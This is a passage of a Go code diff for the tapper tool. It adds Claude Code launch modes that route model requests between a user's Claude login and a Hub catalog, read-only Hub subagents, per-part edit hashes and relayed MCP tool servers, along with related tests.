requireEditPartHashes(i int, item BatchEditItem) error { + if item.ExpectedHash != "" && item.ExpectedContentHash == "" && item.ExpectedMetaHash == "" { + return nil + } + if item.HasContent && item.ExpectedContentHash == "" { + return fmt.Errorf("edit %d node %q: content requires expected_content_hash (the content_hash from node_read): %w", i, item.NodeID, keg.ErrPreconditionRequired) + } + if item.HasMeta && item.ExpectedMetaHash == "" { + return fmt.Errorf("edit %d node %q: meta requires expected_meta_hash (the meta_hash from node_read): %w", i, item.NodeID, keg.ErrPreconditionRequired) + } + return nil +} diff --git a/pkg/tapper/tap_hub.go b/pkg/tapper/tap_hub.go index 3c982e0..37cb730 100644 --- a/pkg/tapper/tap_hub.go +++ b/pkg/tapper/tap_hub.go @@ -4,6 +4,7 @@ import ( "context" "errors" "fmt" + "net/url" "os" "sort" "strings" @@ -63,6 +64,26 @@ func (t *Tap) listHubKegs(ctx context.Context, name string, entry HubEntry) ([]s return out, nil } +// HubRelayTools returns the selected hub's /mcp/relay endpoint and a token +// source for it, for `tap mcp` to proxy the caller's relayed tools. agent, +// when set, asks as that agent so Hub applies its gate; empty asks as the +// caller. ok is false when no hub is selected or nobody is signed in to it. +func (t *Tap) HubRelayTools(agent string) (endpoint string, token func() string, ok bool) { + _, entry, err := t.ConfigService.SelectedHub("") + if err != nil { + return "", nil, false + } + base := strings.TrimRight(hubURLWithScheme(entry.URL), "/") + if base == "" || strings.TrimSpace(t.hubToken(entry)) == "" { + return "", nil, false + } + endpoint = base + "/mcp/relay" + if agent = strings.TrimSpace(agent); agent != "" { + endpoint += "?agent=" + url.QueryEscape(agent) + } + return endpoint, func() string { return t.hubToken(entry) }, true +} + // hubToken resolves the bearer token for a configured remote hub. It builds a // synthetic target from the hub entry and defers to hubTokenForTarget. func (t *Tap) hubToken(entry HubEntry) string { diff --git a/pkg/tapper/tap_launch.go b/pkg/tapper/tap_launch.go index 0ff564b..4b3fcfb 100644 --- a/pkg/tapper/tap_launch.go +++ b/pkg/tapper/tap_launch.go @@ -42,6 +42,17 @@ type LaunchOptions struct { // Flight is the explicit launch root. Empty falls back through TAP_FLIGHT, // project configuration, and user configuration. Flight string + // Inference is where a Claude Code launch sends model requests: + // LaunchInferenceSplit (the default for claude), LaunchInferenceHub, or + // LaunchInferenceSubscription. Other harnesses use Hub only. + Inference string + // Subagents picks the Hub agents a Claude Code launch offers as + // subagents: "" the agent's own subagents, "all" every agent the caller + // can see, "none" none. + Subagents string + // SubagentBuiltins are the Claude Code built-in tools each subagent gets + // beside its Hub tools. Nil means DefaultSubagentBuiltins. + SubagentBuiltins []string // DryRun resolves and reports the invocation without executing it. DryRun bool // Args are extra arguments appended to the harness invocation. @@ -61,6 +72,8 @@ type LaunchOptions struct { // Warnings are returned rather than printed so a dry run and a real run report // the same thing — see ResolveLaunch. type LaunchResult struct { + // Inference is a Claude Code launch's mode; empty for other harnesses. + Inference string // Hub names the hub serving the models. HubAgent string Hub string @@ -85,6 +98,28 @@ const ( launchDirPlaceholder = "" ) +// Inference modes for a Claude Code launch. +const ( + // LaunchInferenceSplit keeps Claude Code on the user's own Claude login + // for Claude models and adds the Hub catalog beside them: the forwarder + // routes each request by the model it names. + LaunchInferenceSplit = "split" + // LaunchInferenceHub sends every model request to Hub. + LaunchInferenceHub = "hub" + // LaunchInferenceSubscription leaves model requests alone entirely; + // Hub supplies only tools and agents. + LaunchInferenceSubscription = "subscription" +) + +// DefaultSubagentBuiltins are the Claude Code built-in tools a Hub subagent +// gets: read-only, so a Hub agent's authority stays what its tools say. +var DefaultSubagentBuiltins = []string{"Read", "Grep", "Glob"} + +// claudeTapperToolPrefix is Claude Code's name prefix for the tapper plugin's +// MCP tools, mcp____. `tap mcp` also serves the caller's relayed +// tools, so they carry the same prefix. +const claudeTapperToolPrefix = "mcp__plugin_tapper_tapper__" + // launchKeyEnv carries the forwarder's per-launch key to harnesses that read // their API key from a named variable. const launchKeyEnv = "TAP_LAUNCH_KEY" @@ -117,8 +152,26 @@ type launchSpec struct { model string catalog []HubModel agent *HubAgent + // inference is the Claude Code launch mode; empty for other harnesses. + inference string + // subagents are offered to Claude Code as subagents. + subagents []HubAgent + // builtins are the built-in tools each subagent gets. + builtins []string + // hostedTools is every hosted Hub tool, for a subagent allowed them all. + hostedTools []string + // relayAllowed reports that the launch agent allows relayed tools, which + // the plugin's `tap mcp` serves; relayTools are their names. + relayAllowed bool + relayTools []string } +// pinned is the forwarder origin plus its key-in-path prefix. +func (s launchSpec) pinned() string { return s.origin + "/t/" + s.apiKey } + +// hubModel reports whether id is in the Hub catalog. +func (s launchSpec) hubModel(id string) bool { return hubCatalogHas(s.catalog, id) } + // contextWindow is the selected model's advertised token limit, or 0. func (s launchSpec) contextWindow() int { for _, m := range s.catalog { @@ -143,12 +196,15 @@ type invocation struct { // forwarder is up. tailArgs and tailEnv are the parts that do not depend on // the forwarder: pass-through arguments and the TAP_* variables. type launchPlan struct { - hubURL string - token func() string - build func(launchSpec) invocation - spec launchSpec - tailArgs []string - tailEnv map[string]string + hubURL string + token func() string + // anthropic is where a split launch sends Claude models; empty when + // unused. + anthropic string + build func(launchSpec) invocation + spec launchSpec + tailArgs []string + tailEnv map[string]string } // render builds the invocation against a forwarder at origin taking apiKey, @@ -189,9 +245,31 @@ func harnessBuilders() map[string]func(launchSpec) invocation { } } -// claudeLaunch points Claude Code at Hub's Anthropic Messages endpoint. Every -// model slot it uses, including the small one for background work, is the -// selected model, so nothing leaves Hub. An inherited ANTHROPIC_API_KEY is +// claudeLaunch points Claude Code at its models, then adds the launch's Hub +// subagents. Where the models come from depends on the +// mode; see claudeHubLaunch and claudeSplitLaunch. +func claudeLaunch(spec launchSpec) invocation { + var inv invocation + switch spec.inference { + case LaunchInferenceSplit: + inv = claudeSplitLaunch(spec) + case LaunchInferenceSubscription: + inv = invocation{argv: []string{"claude"}, env: map[string]string{}} + if spec.model != "" { + inv.argv = append(inv.argv, "--model", spec.model) + } + default: + inv = claudeHubLaunch(spec) + } + if agents := claudeSubagents(spec); agents != nil { + inv.argv = append(inv.argv, "--agents", encodeLaunchJSON(agents)) + } + return inv +} + +// claudeHubLaunch points Claude Code at Hub's Anthropic Messages endpoint. +// Every model slot it uses, including the small one for background work, is +// the selected model, so nothing leaves Hub. An inherited ANTHROPIC_API_KEY is // removed: Claude Code would otherwise send it in preference, and warn about // the conflict. Claude Code does not know catalog models, so their context // window, when the relay advertised one, is passed as the limit it compacts @@ -202,7 +280,7 @@ func harnessBuilders() map[string]func(launchSpec) invocation { // replaces that lineup with the catalog, so the picker switches between Hub // models the way opencode's and pi's do. --settings layers over the user's // own settings file rather than replacing it. -func claudeLaunch(spec launchSpec) invocation { +func claudeHubLaunch(spec launchSpec) invocation { env := map[string]string{ "ANTHROPIC_BASE_URL": spec.origin + "/anthropic", "ANTHROPIC_AUTH_TOKEN": spec.apiKey, @@ -215,16 +293,7 @@ func claudeLaunch(spec launchSpec) invocation { if n := spec.contextWindow(); n > 0 { env["CLAUDE_CODE_MAX_CONTEXT_TOKENS"] = strconv.Itoa(n) } - type row struct { - Model string `json:"model"` - Label string `json:"label"` - Description string `json:"description,omitempty"` - } - var rows []row - for _, m := range chatModels(spec.catalog) { - rows = append(rows, row{Model: m.ID, Label: m.ID, Description: catalogDescription(spec, m)}) - } - settings := encodeLaunchJSON(map[string]any{"modelPicker": map[string]any{"options": rows}}) + settings := encodeLaunchJSON(map[string]any{"modelPicker": map[string]any{"options": claudePickerRows(spec)}}) return invocation{ argv: []string{"claude", "--model", spec.model, "--settings", settings}, env: env, @@ -232,6 +301,112 @@ func claudeLaunch(spec launchSpec) invocation { } } +// claudeSplitLaunch keeps Claude Code on the user's own Claude credential and +// adds the Hub catalog beside its built-in models. Claude Code takes one base +// URL, so it is the forwarder's pinned prefix: the forwarder sends requests +// naming a Claude model on to Anthropic with the credential Claude Code sent, +// and the rest to Hub with the Hub credential. Claude Code's own model +// defaults stay, so background work runs on its small Claude model. Nothing +// inherited is stripped: an ANTHROPIC_API_KEY the user set is that user's +// Anthropic credential, and still only reaches Anthropic. +// +// The context limit is set only when the session starts on a Hub model; it +// applies to the whole session, so it would otherwise cap Claude models at a +// Hub model's window. +func claudeSplitLaunch(spec launchSpec) invocation { + env := map[string]string{"ANTHROPIC_BASE_URL": spec.pinned() + "/anthropic"} + argv := []string{"claude"} + if spec.model != "" { + argv = append(argv, "--model", spec.model) + if n := spec.contextWindow(); n > 0 && spec.hubModel(spec.model) { + env["CLAUDE_CODE_MAX_CONTEXT_TOKENS"] = strconv.Itoa(n) + } + } + if rows := claudePickerRows(spec); len(rows) > 0 { + argv = append(argv, "--settings", encodeLaunchJSON(map[string]any{ + "modelPicker": map[string]any{"options": rows, "replaceBuiltInOptions": false}, + })) + } + return invocation{argv: argv, env: env} +} + +// claudePickerRow is one /model picker entry. +type claudePickerRow struct { + Model string `json:"model"` + Label string `json:"label"` + Description string `json:"description,omitempty"` +} + +func claudePickerRows(spec launchSpec) []claudePickerRow { + var rows []claudePickerRow + for _, m := range chatModels(spec.catalog) { + rows = append(rows, claudePickerRow{Model: m.ID, Label: m.ID, Description: catalogDescription(spec, m)}) + } + return rows +} + +// claudeSubagent is one entry of Claude Code's --agents JSON. +type claudeSubagent struct { + Description string `json:"description"` + Prompt string `json:"prompt"` + Tools []string `json:"tools"` + Model string `json:"model,omitempty"` +} + +// claudeSubagents renders the launch's Hub subagents for --agents, or nil for +// none. Each gets only its own Hub tools, as Claude Code names them, plus the +// launch's built-ins. Hub still gates every call to the main agent's tools: +// the MCP sessions run as the launch agent, so a subagent's list can narrow +// what it is offered but never widen it. +func claudeSubagents(spec launchSpec) map[string]claudeSubagent { + if len(spec.subagents) == 0 { + return nil + } + out := make(map[string]claudeSubagent, len(spec.subagents)) + for _, a := range spec.subagents { + tools := slices.Clone(spec.builtins) + names := a.ToolNames() + if len(names) == 0 { + names = spec.hostedTools + } + for _, name := range names { + tools = append(tools, claudeTapperToolPrefix+name) + } + if a.RelayTools && spec.relayAllowed { + for _, name := range spec.relayTools { + tools = append(tools, claudeTapperToolPrefix+name) + } + } + description := strings.TrimSpace(a.Description) + if description == "" { + description = strings.TrimSpace(a.Title) + } + if description == "" { + description = "Hub agent " + a.Ref + } + entry := claudeSubagent{Description: description, Prompt: a.Instructions, Tools: tools} + if a.Model != "" && claudeModelUsable(spec, a.Model) { + entry.Model = a.Model + } + out[a.Namespace+"-"+a.Name] = entry + } + return out +} + +// claudeModelUsable reports whether a Claude Code launch in spec's mode can +// reach model: Hub models in hub and split mode, Claude models in split and +// subscription mode. +func claudeModelUsable(spec launchSpec, model string) bool { + switch spec.inference { + case LaunchInferenceSplit: + return spec.hubModel(model) || IsClaudeModel(model) + case LaunchInferenceSubscription: + return IsClaudeModel(model) + default: + return spec.hubModel(model) + } +} + // catalogDescription says where a catalog model comes from and how much // context it takes, for a harness's model picker: the Foldwise hub that // provides it and the pool serving it. @@ -471,23 +646,46 @@ func (t *Tap) ResolveLaunchContext(ctx context.Context, opts LaunchOptions) (*La return nil, fmt.Errorf("hub %q has no url", hubName) } token := func() string { return t.hubToken(entry) } - catalog, err := fetchHubCatalog(ctx, hubURL, token()) + inference, err := launchInference(harness, opts.Inference) if err != nil { - return nil, fmt.Errorf("hub %q: %w", hubName, err) - } - chat := chatModels(catalog) - if len(chat) == 0 { - return nil, fmt.Errorf("hub %q has no models for you yet; run `tap relay` to contribute your own", hubName) + return nil, err } model := strings.TrimSpace(opts.Model) if agent != nil { model = agent.Model } - if model == "" { - model = chat[0].ID - } else if !hubCatalogHas(chat, model) { - return nil, fmt.Errorf("model %q is not in your catalog on hub %q (is a relay serving it connected?); available: %s", - model, hubName, strings.Join(hubCatalogIDs(chat), ", ")) + var catalog []HubModel + switch inference { + case LaunchInferenceSubscription: + if model != "" && !IsClaudeModel(model) { + warnings = append(warnings, fmt.Sprintf("model %q is a Hub model; a subscription launch starts on Claude Code's default instead", model)) + model = "" + } + case LaunchInferenceSplit: + // Claude models work without Hub's catalog, so a hub that cannot + // list one degrades the launch rather than failing it. + catalog, err = fetchHubCatalog(ctx, hubURL, token()) + if err != nil { + warnings = append(warnings, fmt.Sprintf("hub %q: %v; launching with Claude models only", hubName, err)) + } + if model != "" && !IsClaudeModel(model) && !hubCatalogHas(chatModels(catalog), model) { + return nil, fmt.Errorf("model %q is neither a Claude model nor in your catalog on hub %q (is a relay serving it connected?)", model, hubName) + } + default: + catalog, err = fetchHubCatalog(ctx, hubURL, token()) + if err != nil { + return nil, fmt.Errorf("hub %q: %w", hubName, err) + } + chat := chatModels(catalog) + if len(chat) == 0 { + return nil, fmt.Errorf("hub %q has no models for you yet; run `tap relay` to contribute your own", hubName) + } + if model == "" { + model = chat[0].ID + } else if !hubCatalogHas(chat, model) { + return nil, fmt.Errorf("model %q is not in your catalog on hub %q (is a relay serving it connected?); available: %s", + model, hubName, strings.Join(hubCatalogIDs(chat), ", ")) + } } tailEnv, err := t.launchTapEnv(cfg, root, hasRoot) @@ -500,35 +698,135 @@ func (t *Tap) ResolveLaunchContext(ctx context.Context, opts LaunchOptions) (*La tailEnv["TAP_AGENT"] = agentRef } tailEnv["TAP_HARNESS"] = harness - tailEnv["TAP_MODEL"] = model + if model != "" { + tailEnv["TAP_MODEL"] = model + } + spec := launchSpec{hubName: hubName, model: model, catalog: catalog, agent: agent} + if harness == "claude" { + spec.inference = inference + more, err := t.resolveClaudeExtras(ctx, &spec, hubURL, token(), opts) + if err != nil { + return nil, err + } + warnings = append(warnings, more...) + } plan := &launchPlan{ hubURL: hubURL, token: token, build: build, - spec: launchSpec{hubName: hubName, model: model, catalog: catalog, agent: agent}, + spec: spec, tailArgs: append([]string(nil), opts.Args...), tailEnv: tailEnv, } + if spec.inference == LaunchInferenceSplit { + plan.anthropic = t.Runtime.Env().Get("ANTHROPIC_BASE_URL") + if plan.anthropic == "" { + plan.anthropic = DefaultAnthropicURL + } + } inv := plan.render(launchForwarderPlaceholder, launchKeyPlaceholder, launchDirPlaceholder) flight := "" if hasRoot { flight = root.Canonical() } return &LaunchResult{ - HubAgent: agentRef, - Hub: hubName, - Harness: harness, - Model: model, - Flight: flight, - Argv: inv.argv, - Env: inv.env, - StripEnv: inv.strip, - Files: inv.files, - Warnings: warnings, - plan: plan, + Inference: spec.inference, + HubAgent: agentRef, + Hub: hubName, + Harness: harness, + Model: model, + Flight: flight, + Argv: inv.argv, + Env: inv.env, + StripEnv: inv.strip, + Files: inv.files, + Warnings: warnings, + plan: plan, }, nil } +// launchInference validates a launch's inference mode, defaulting Claude Code +// to split and every other harness to Hub, the only mode they support. +func launchInference(harness, mode string) (string, error) { + mode = strings.TrimSpace(mode) + if harness != "claude" { + if mode != "" && mode != LaunchInferenceHub { + return "", fmt.Errorf("%s launches use Hub models only; --%s is for claude", harness, mode) + } + return LaunchInferenceHub, nil + } + switch mode { + case "": + return LaunchInferenceSplit, nil + case LaunchInferenceSplit, LaunchInferenceHub, LaunchInferenceSubscription: + return mode, nil + } + return "", fmt.Errorf("unknown inference mode %q (want %s, %s or %s)", mode, LaunchInferenceSplit, LaunchInferenceHub, LaunchInferenceSubscription) +} + +// resolveClaudeExtras fills in a Claude Code launch's subagents and the relayed +// tool names they get. What cannot be fetched is left out with a warning: neither is +// needed to start the session. +func (t *Tap) resolveClaudeExtras(ctx context.Context, spec *launchSpec, hubURL, token string, opts LaunchOptions) ([]string, error) { + var warnings []string + spec.builtins = opts.SubagentBuiltins + if spec.builtins == nil { + spec.builtins = DefaultSubagentBuiltins + } + spec.relayAllowed = spec.agent != nil && spec.agent.RelayTools + + switch mode := strings.TrimSpace(opts.Subagents); mode { + case "none": + case "all": + all, err := ListHubAgents(ctx, hubURL, token, "") + if err != nil { + return nil, fmt.Errorf("list agents for subagents: %w", err) + } + for _, a := range all { + if spec.agent == nil || a.Ref != spec.agent.Ref { + spec.subagents = append(spec.subagents, a) + } + } + case "": + if spec.agent == nil { + break + } + for _, ref := range spec.agent.Subagents { + a, err := t.HubAgent(ctx, ref) + if err != nil { + warnings = append(warnings, fmt.Sprintf("subagent %s skipped: %v", ref, err)) + continue + } + spec.subagents = append(spec.subagents, *a) + } + default: + return nil, fmt.Errorf("unknown --subagents value %q (want all or none)", mode) + } + + needHosted, needRelay := false, false + for _, a := range spec.subagents { + needHosted = needHosted || len(a.ToolNames()) == 0 + needRelay = needRelay || (a.RelayTools && spec.relayAllowed) + } + if needHosted { + if tools, err := GetHubTools(ctx, hubURL, token); err != nil { + warnings = append(warnings, fmt.Sprintf("subagents allowed every Hub tool get none: %v", err)) + } else { + spec.hostedTools = append(slices.Clone(tools.Tools), tools.AlwaysAvailable...) + slices.Sort(spec.hostedTools) + spec.hostedTools = slices.Compact(spec.hostedTools) + } + } + if needRelay { + if names, err := ListHubRelayToolNames(ctx, hubURL, token); err != nil { + warnings = append(warnings, fmt.Sprintf("subagents get no relayed tools: %v", err)) + } else { + spec.relayTools = names + } + } + return warnings, nil +} + // resolveLaunchRoot resolves the optional launch root flight. func (t *Tap) resolveLaunchRoot(cfg *Config, explicit string) (root FlightRef, hasRoot bool, warnings []string, err error) { // A launch root is optional. Without one the child runs under no-flight @@ -658,7 +956,10 @@ func (t *Tap) Launch(ctx context.Context, opts LaunchOptions) (*LaunchResult, er // Up before the harness and down after it, so every request the harness // makes has somewhere to go. - fw, err := startLaunchForwarder(resolved.plan.hubURL, resolved.plan.token) + fw, err := startLaunchForwarderWith(launchForwarderConfig{ + hubURL: resolved.plan.hubURL, harness: resolved.Harness, token: resolved.plan.token, + anthropic: resolved.plan.anthropic, + }) if err != nil { return nil, err } diff --git a/pkg/tapper/tap_launch_test.go b/pkg/tapper/tap_launch_test.go index b095e95..e37fe66 100644 --- a/pkg/tapper/tap_launch_test.go +++ b/pkg/tapper/tap_launch_test.go @@ -83,7 +83,7 @@ func TestLaunchHarnesses(t *testing.T) { func TestResolveLaunch_Claude(t *testing.T) { t.Parallel() hub := fakeInferenceHub(t, "hub-token", twoModels) - got, err := newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude", Model: "@me/llama3"}) + got, err := newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude", Inference: LaunchInferenceHub, Model: "@me/llama3"}) require.NoError(t, err) require.Equal(t, []string{"claude", "--model", "@me/llama3", "--settings"}, got.Argv[:4]) var settings struct { @@ -109,7 +109,7 @@ func TestResolveLaunch_Claude(t *testing.T) { require.Equal(t, "@me/llama3", got.Env["TAP_MODEL"]) noHubToken(t, got) - got, err = newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude", Model: "@me/qwen3:8b"}) + got, err = newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude", Inference: LaunchInferenceHub, Model: "@me/qwen3:8b"}) require.NoError(t, err) require.Equal(t, "32768", got.Env["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], "Claude Code compacts against the advertised window") } @@ -211,7 +211,7 @@ func TestResolveLaunch_ModelSelection(t *testing.T) { require.ErrorContains(t, err, "@me/llama3", "the error lists what is available") _, err = tap.ResolveLaunch(LaunchOptions{Harness: "claude", Model: "@me/whisper"}) - require.ErrorContains(t, err, "not in your catalog", "a speech model cannot drive a harness") + require.ErrorContains(t, err, "in your catalog", "a speech model cannot drive a harness") _, err = tap.ResolveLaunch(LaunchOptions{Harness: "vim"}) require.ErrorContains(t, err, "unknown harness") @@ -234,7 +234,7 @@ func TestResolveLaunch_IgnoresRetiredAgents(t *testing.T) { t.Parallel() hub := fakeInferenceHub(t, "hub-token", twoModels) tap := newLaunchTap(t, hub.URL, "agent: opus\nagents:\n opus: {model: anthropic/claude-opus-4}\n") - got, err := tap.ResolveLaunch(LaunchOptions{Harness: "claude"}) + got, err := tap.ResolveLaunch(LaunchOptions{Harness: "claude", Inference: LaunchInferenceHub}) require.NoError(t, err) require.Equal(t, "@me/qwen3:8b", got.Model) @@ -329,7 +329,7 @@ func TestLaunchForwarder(t *testing.T) { t.Parallel() hub := fakeInferenceHub(t, "hub-token", twoModels) var calls atomic.Int32 - fw, err := startLaunchForwarder(hub.URL, func() string { + fw, err := startLaunchForwarder(hub.URL, "opencode", func() string { // A fresh token per request, as a refreshing resolver would give. return fmt.Sprintf("hub-token-%d", calls.Add(1)) }) @@ -389,7 +389,7 @@ func TestLaunchForwarder(t *testing.T) { count := firstEvent(do(http.MethodPost, "/anthropic/v1/messages/count_tokens", bearer, `{"model":"m"}`)) require.Equal(t, "/inference/anthropic/v1/messages/count_tokens", count["path"]) - empty, err := startLaunchForwarder(hub.URL, func() string { return "" }) + empty, err := startLaunchForwarder(hub.URL, "opencode", func() string { return "" }) require.NoError(t, err) t.Cleanup(func() { _ = empty.Close() }) req, _ := http.NewRequest(http.MethodGet, empty.Origin()+"/v1/models", nil) @@ -415,3 +415,26 @@ func TestCatalogDescription(t *testing.T) { catalogDescription(spec, HubModel{OwnedBy: "relay:laptop", ContextWindow: 32768})) require.Equal(t, "Foldwise", catalogDescription(launchSpec{}, HubModel{})) } + +// The forwarder names the harness to Hub so Hub can label its requests. +func TestLaunchForwarderNamesHarness(t *testing.T) { + t.Parallel() + got := make(chan string, 1) + hub := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + got <- r.Header.Get("X-Tap-Harness") + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"data":[]}`)) + })) + t.Cleanup(hub.Close) + fw, err := startLaunchForwarder(hub.URL, "opencode", func() string { return "hub-token" }) + require.NoError(t, err) + t.Cleanup(func() { _ = fw.Close() }) + req, _ := http.NewRequest(http.MethodGet, fw.Origin()+"/v1/models", nil) + req.Header.Set("Authorization", "Bearer "+fw.Secret()) + // A harness cannot choose the label itself. + req.Header.Set("X-Tap-Harness", "spoofed") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + _ = resp.Body.Close() + require.Equal(t, "opencode", <-got) +} diff --git a/pkg/tapper/tap_orient.go b/pkg/tapper/tap_orient.go index 5b64092..13a97b7 100644 --- a/pkg/tapper/tap_orient.go +++ b/pkg/tapper/tap_orient.go @@ -22,7 +22,7 @@ const orientRulesSummary = "Rules:\n" + "- Use the `mcp__tapper__*` tools for every KEG operation; never read or write node files directly.\n" + "- The target keg resolves from the working directory unless the `keg` parameter overrides it.\n" + "- Take a snapshot before non-trivial edits. Snapshots do not protect against `node_delete`; preserve content some other way before deletion.\n" + - "- Writes may invalidate the hash you were holding; not every mutation returns a replacement. Re-read with `node_read`, `schema_read`, or `keg_settings_read` before each guarded write; a hash never covers two writes, so an edit followed by a delete needs two reads.\n" + + "- Writes may invalidate the hash you were holding; not every mutation returns a replacement. Re-read with `node_read`, `schema_read`, or `keg_settings_read` before each guarded write; a hash never covers two writes, so an edit followed by a delete needs two reads. `node_edit` uses per-part hashes: pass `node_read`'s `content_hash` as `expected_content_hash` and `meta_hash` as `expected_meta_hash`; editing one part never invalidates the other's hash, and each edit result returns the new part hashes. `node_delete` and `node_move` take the combined `hash`.\n" + "- Node ids are per-keg counters. Node 4 in one keg has nothing to do with node 4 in another, ids are never reused after a removal, and a create takes the next free id rather than filling a gap.\n" + "- Node 0 is the keg's placeholder landing node. Leave it alone: it carries no `type` on purpose, it is where links to unwritten content land, and removing it makes the keg read as uninitialized. Write your content in a new node instead.\n" + "- Attachments on a node are linked relative to that node's own directory: `[label](./assets/FILE)` for files and `![alt](./images/IMAGE)` for images. Both directory names are plural.\n" @@ -397,7 +397,7 @@ func OrientationOperatingRules() string { func BuildOrientationPayload(flight *Flight, flightNote, launch string, kegs []OrientationKeg, warnings []string, authority *OrientationAuthority) (string, error) { var b strings.Builder b.WriteString("# KEG System\n\n") - b.WriteString("Call `orient` at session start and after every context reset. Authority is bounded by identity permissions and the selected flight; child authority and instructions are not inherited. Use only `mcp__tapper__*` tools for KEG operations. Call `keg_settings_read` before operating in a KEG. Snapshot before meaningful edits; snapshots do not protect deletion. Re-read for a fresh hash before each guarded write. Call `guide` for detailed operating, authoring/linking, snapshots, tools, or troubleshooting guidance.\n\n") + b.WriteString("Call `orient` at session start and after every context reset. Authority is bounded by identity permissions and the selected flight; child authority and instructions are not inherited. Use only `mcp__tapper__*` tools for KEG operations. Call `keg_settings_read` before operating in a KEG. Snapshot before meaningful edits; snapshots do not protect deletion. Re-read for a fresh hash before each guarded write; `node_edit` takes per-part hashes (`content_hash`, `meta_hash`), `node_delete` and `node_move` the combined `hash`. Call `guide` for detailed operating, authoring/linking, snapshots, tools, or troubleshooting guidance.\n\n") for _, warning := range warnings { fmt.Fprintf(&b, "Warning: %s\n\n", orientationTableCell(warning)) } diff --git a/pkg/tapper/tap_relay.go b/pkg/tapper/tap_relay.go index 80ba6f6..bb17178 100644 --- a/pkg/tapper/tap_relay.go +++ b/pkg/tapper/tap_relay.go @@ -5,8 +5,12 @@ import ( "context" "errors" "fmt" + "maps" + "os" + "path/filepath" "sort" "strings" + "time" "github.com/jlrickert/tapper/internal/relay" "github.com/jlrickert/tapper/pkg/keg" @@ -26,14 +30,17 @@ type RelayOptions struct { OnRegistered func(hubURL string, reg relaycontract.Registered) } -// ErrRelayNotConfigured means the user config has no relay providers. -var ErrRelayNotConfigured = errors.New("no relay providers configured; add a relay.providers block to your user config") +// ErrRelayNotConfigured means the relay has nothing to offer: no providers, +// no MCP servers, and no built-in server (no coding agent CLI on PATH, or +// relay.runners turned off). +var ErrRelayNotConfigured = errors.New("nothing to relay; add a relay.providers or relay.mcp block to your user config, or install a coding agent CLI for the built-in runners") // ErrRelayDisabled means the user config turns the relay off. var ErrRelayDisabled = errors.New("the relay is disabled in your user config (relay.enabled: false)") -// Relay connects this machine's configured providers to Hub and serves -// inference requests until ctx ends or Hub rejects the relay permanently. +// Relay connects this machine's configured providers and MCP servers to Hub +// and serves inference and tool calls until ctx ends or Hub rejects the relay +// permanently. func (t *Tap) Relay(ctx context.Context, opts RelayOptions) error { cfg, err := t.ConfigService.Config() if err != nil { @@ -43,13 +50,20 @@ func (t *Tap) Relay(ctx context.Context, opts RelayOptions) error { if !rc.IsEnabled() { return ErrRelayDisabled } - if rc == nil || len(rc.Providers) == 0 { - return ErrRelayNotConfigured + if rc == nil { + rc = &RelayConfig{} } providers, err := t.relayProviders(rc) if err != nil { return err } + toolServers, err := t.relayToolServers(rc) + if err != nil { + return err + } + if len(providers) == 0 && len(toolServers) == 0 { + return ErrRelayNotConfigured + } hubURLs, err := relayHubURLs(cfg, rc, opts.Hub) if err != nil { return err @@ -72,6 +86,7 @@ func (t *Tap) Relay(ctx context.Context, opts RelayOptions) error { Name: name, Version: opts.Version, Providers: providers, + ToolServers: toolServers, Logger: t.Runtime.Logger(), OnRegistered: opts.OnRegistered, }) @@ -113,6 +128,193 @@ func (t *Tap) relayProviders(rc *RelayConfig) ([]*relay.Provider, error) { return out, nil } +// relayToolServers builds the enabled configured MCP servers, in name order, +// followed by the built-in ones (see relayBuiltinServers). Secrets are read +// here, from the variables the config names, and stay in this process. +func (t *Tap) relayToolServers(rc *RelayConfig) ([]*relay.ToolServer, error) { + names := make([]string, 0, len(rc.MCP)) + for n, s := range rc.MCP { + if s.IsEnabled() { + names = append(names, n) + } + } + sort.Strings(names) + out := make([]*relay.ToolServer, 0, len(names)) + for _, n := range names { + s := rc.MCP[n] + var timeout time.Duration + if s.Timeout != "" { + d, err := time.ParseDuration(s.Timeout) + if err != nil || d <= 0 { + return nil, fmt.Errorf("relay.mcp.%s.timeout %q must be a positive duration such as 30s or 5m", n, s.Timeout) + } + timeout = d + } + headers := make(map[string]string, len(s.Headers)+len(s.HeadersFromEnv)) + maps.Copy(headers, s.Headers) + for header, name := range s.HeadersFromEnv { + v := t.Runtime.Get(name) + if v == "" { + return nil, fmt.Errorf("relay.mcp.%s.headersFromEnv: %s is not set", n, name) + } + headers[header] = v + } + cfg := relay.ToolServerConfig{ + Name: n, + Title: s.Title, + URL: s.URL, + Headers: headers, + Allow: s.Tools.Allow, + Deny: s.Tools.Deny, + MaxConcurrent: s.MaxConcurrent, + Timeout: timeout, + } + if s.Command != "" { + cfg.Command = s.Command + cfg.Args = s.Args + cfg.Dir = s.Cwd + cfg.Env = relay.ToolEnv(t.Runtime.Environ(), s.InheritEnv, s.EnvFrom, s.Env) + } + server, err := relay.NewToolServer(cfg) + if err != nil { + return nil, err + } + out = append(out, server) + } + builtins, err := t.relayBuiltinServers(rc) + if err != nil { + return nil, err + } + for _, cfg := range builtins { + server, err := relay.NewToolServer(cfg) + if err != nil { + return nil, err + } + out = append(out, server) + } + return out, nil +} + +// RelayClaudeToolsServer names the built-in server that offers Claude Code's +// own tools. Each runner server is named for its harness (RunnerSpec.Name). +const RelayClaudeToolsServer = "claude-tools" + +// Defaults for the built-in servers. +const ( + defaultRunnersMaxConcurrent = 2 + // runnersTimeoutMargin lets `tap runner serve` report its own timeout + // before the relay gives up on the call. + runnersTimeoutMargin = time.Minute + claudeCodeToolTimeout = 10 * time.Minute +) + +// relayExecutable locates the running tap binary, which each runner server +// runs as `tap runner serve --runner NAME`. A variable so tests can stand in +// a path. +var relayExecutable = os.Executable + +// relayBuiltinServers configures the built-in MCP servers relay.runners turns +// on. All are off by default: +// +// - "claude", "codex", "opencode", "pi" each run +// `tap runner serve --runner NAME`, one tool that hands tasks to that +// coding agent CLI (claude_code_run, codex_run, ...); turned on by +// relay.runners.NAME.run. +// - "claude-tools" runs `claude mcp serve`, Claude Code's own tools; turned +// on by relay.runners.claude.tools. +// +// Each is offered only when its CLI is on PATH. A relay.mcp entry with the +// same name, enabled or not, replaces a built-in. Each is a server of its own +// so Hub can enable and share them one by one. All inherit the relay's whole +// environment, since the agents need their own 